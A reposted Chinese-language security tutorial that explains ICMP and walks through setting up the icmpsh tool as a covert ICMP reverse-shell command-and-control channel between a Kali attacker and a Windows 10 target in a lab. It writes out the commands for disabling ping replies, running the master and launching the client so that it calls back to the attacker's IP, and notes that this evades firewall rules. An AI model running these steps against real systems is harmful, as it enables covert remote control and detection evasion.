ICMP協(xié)議工作方式簡介
Internet控制報文協(xié)議(ICMP)是Internet協(xié)議族中一個。它被用于包括路由器在內(nèi)的網(wǎng)絡設備中,用來發(fā)送錯誤報文和操作信息,表示所請求的服務不可用或是主機/路由不可達。ping命令使用第三層即網(wǎng)絡層協(xié)議,通過ICMP載荷發(fā)送消息,該數(shù)據(jù)包會被封裝上IP頭。由于MTU的限制,ICMP包的大小不能大于1500字節(jié)。
Ping命令會向目標主機發(fā)送一個IMCP的echo請求。目標主機如果回復echo響應則表示主機存活。
利用ICMP協(xié)議進行命令控制
我們發(fā)布的很多內(nèi)容中都討論了C2通道,又叫做命令控制,具體內(nèi)容可以在這里找到。而在這篇文章中,你會了解到如何將ICMP協(xié)議用作命令控制通道。網(wǎng)絡戰(zhàn)中散布著入侵者和安全研究人員,因此,我們需要備用計劃。
眾所周知,現(xiàn)在的公司變得更加智能,他們可以理解例如類型相關的攻擊在實現(xiàn)了機器的TCP反彈連接。因此我們提出了使用icmpsh作為命令控制工具的一種ICMP隱蔽shell的實現(xiàn)方法。
環(huán)境要求
攻擊機/C2通道:192.168.1.108(Kali Linux)
宿主機:192.168.1.106(Windows 10)
icmpsh:C2通道與安裝方法
icmpsh是一個簡單的ICMP反彈shell,擁有用C,Perl和Python實現(xiàn)的POSIX兼容主控端和一個win32的受控端。相比其他類似的開源工具來說,icmpsh的優(yōu)點是在目標機器上運行時不需要管理員權限。
這一工具干凈、簡單并且便攜。受控端(客戶端)使用C語言實現(xiàn)。只能運行在目標Windows機器上,而主控端(服務端)由于已經(jīng)有Nico Leidecker用C和Perl實現(xiàn)的版本,而且之后又移植到了Python上,因此可以運行在任何平臺的攻擊者機器中。
Icmpsh很容易被安裝并用作c2通道??梢酝ㄟ^Github下載并在攻擊者機器中部署icmpsh。
git clone https://github.com/inquisb/icmpsh.git
以主模式運行icmpsh(Kali Linux)
下載完成之后,使用以下命令來運行主控端。執(zhí)行之前最重要的一步是在你的機器上關閉ping回復。這樣可以防止內(nèi)核自己對ping包進行響應。
sysctl -w net.ipv4.icmp_echo_ignore_all=1
cd icmpsh
syntax: ./icmpsh_m.py <attacker’s-IP> <target-IP>
./icmpsh_m.py 192.168.1.108 192.168.1.106
服務端

以從模式運行icmpsh(Windows 10)
在宿主機器中以從模式再次安裝icmpsh工具,運行受控端的目標機器中的用戶不需要具有管理員權限。然后運行以下命令:
syntax: icmpsh.exe -t <Kali IP>
icmpsh.exe -t 192.168.1.108
在宿主機上執(zhí)行完上述命令后,攻擊者就會收到運行著受控端的機器的反彈shell。你可以從下面給出的圖片中觀察到,這臺主控端機器通過受控端機器返回的命令提示符獲取了其控制權。
和我們預期的結果完全一樣,而且由于數(shù)據(jù)是利用PING請求/回復報文通過網(wǎng)絡層傳輸,因此并不需要指定服務或者端口。這種流量是無法被基于代理的防火墻檢測到的,因此這種方式可能繞過一些防火墻規(guī)則。
攻擊成功截圖

【轉(zhuǎn)載說明】
來源:https://www.freebuf.com/sectool/210450.html
作者:Kriston

